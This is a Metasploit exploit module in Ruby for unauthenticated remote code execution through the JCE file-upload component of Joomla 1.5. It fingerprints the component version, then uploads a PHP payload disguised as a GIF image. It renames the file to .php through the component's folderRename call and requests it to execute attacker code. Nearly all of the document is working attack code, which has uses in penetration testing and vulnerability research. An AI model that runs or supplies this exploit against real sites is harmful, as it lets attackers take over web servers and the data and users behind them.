Joomla Component JCE File Upload Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Joomla Component JCE File Upload Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the JCE component for Joomla!, which  
could allow an unauthenticated remote attacker to upload arbitrary files, caused by the  
fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP  
request, a remote attacker could exploit this vulnerability to upload a malicious PHP  
script, which could allow the attacker to execute arbitrary PHP code on the vulnerable  
system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla  
1.5.26.  
},  
'Author' =>  
[  
'Unknown', # From AmnPardaz Security Group # Vulnerability discovery and PoC  
'Heyder Andrade <eu[at]heyderandrade.org>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '49338'],  
['EDB', '17734']  
],  
'Payload' =>  
{  
'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long)  
'DisableNops' => true,  
'BadChars' => "#",  
'Keys' => ['php']  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 2 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "Joomla directory path", "/"])  
], self.class)  
end  
  
  
def get_version  
# check imgmanager version  
@uri_base = normalize_uri(target_uri.path.to_s, 'index.php')  
@vars_get_base = {  
'option'=> 'com_jce',  
'task' => 'plugin',  
'plugin'=> 'imgmanager',  
'file' => 'imgmanager'  
}  
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")  
res = send_request_cgi({  
'uri' => @uri_base,  
'vars_get' => @vars_get_base,  
'method' => 'GET',  
'version' => '1.1'  
})  
  
version = nil  
if (res and res.code == 200)  
res.body.match(%r{^\s+?<title>Image\sManager\s:\s?(.*)<})  
version = $1.nil? ? nil : $1  
end  
  
return version  
end  
  
def check  
version = ( get_version || '').to_s  
  
if (version.match(%r{1\.5\.7\.1[0-4]?}))  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
  
def upload_gif  
# add GIF header  
cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>"  
  
# Generate some random strings  
@payload_name = rand_text_alpha_lower(6)  
boundary = '-' * 27 + rand_text_numeric(11)  
  
parms = {'method'=> 'form'}  
parms.merge!(@vars_get_base)  
  
# POST data  
post_data = Rex::MIME::Message.new  
post_data.bound = boundary  
post_data.add_part("/", nil, nil, "form-data; name=\"upload-dir\"")  
post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"\"")  
post_data.add_part("0", nil, nil, "form-data; name=\"upload-overwrite\"")  
post_data.add_part("#{cmd_php}", "image/gif", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}.gif\"")  
post_data.add_part("#{@payload_name}", nil, nil, "form-data; name=\"upload-name\"")  
post_data.add_part("upload", nil, nil, "form-data; name=\"action\"")  
  
data = post_data.to_s  
  
res = send_request_cgi({  
'uri' => @uri_base,  
'vars_get' => parms,  
'method' => 'POST',  
'version' => '1.1',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
if (res and res.code = 200 )  
return :access_denied if (res.body =~ /RESTRICTED/i)  
print_good("Successfully uploaded #{@payload_name}.gif")  
else  
print_error("Error uploading #{@payload_name}.gif")  
return :abort  
end  
  
return :success  
  
end  
  
def renamed?  
# Rename the file from .gif to .php  
  
data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@payload_name}.gif\",\"#{@payload_name}.php\"]}"  
  
print_status("Change Extension from #{@payload_name}.gif to #{@payload_name}.php")  
  
res = send_request_cgi(  
{  
'uri' => @uri_base,  
'vars_get' => @vars_get_base,  
'method' => 'POST',  
'version' => '1.1',  
'data' => data,  
'ctype' => 'application/x-www-form-urlencoded; charset=utf-8',  
'headers' =>  
{  
'X-Request' => 'JSON'  
}  
})  
if (res and res.code == 200 )  
print_good("Renamed #{@payload_name}.gif to #{@payload_name}.php")  
return true  
else  
print_error("Failed to rename #{@payload_name}.gif to #{@payload_name}.php")  
return false  
end  
end  
  
def call_payload  
payload = "#{@payload_name}.php"  
print_status("Calling payload: #{payload}")  
uri = normalize_uri(target_uri.path.to_s, "images", "stories", payload)  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'version' => '1.1'  
})  
end  
  
  
  
def exploit  
  
return if not check == Exploit::CheckCode::Vulnerable  
if upload_gif == :success  
if renamed?  
register_files_for_cleanup("#{@payload_name}.php")  
call_payload  
end  
end  
  
end  
  
end`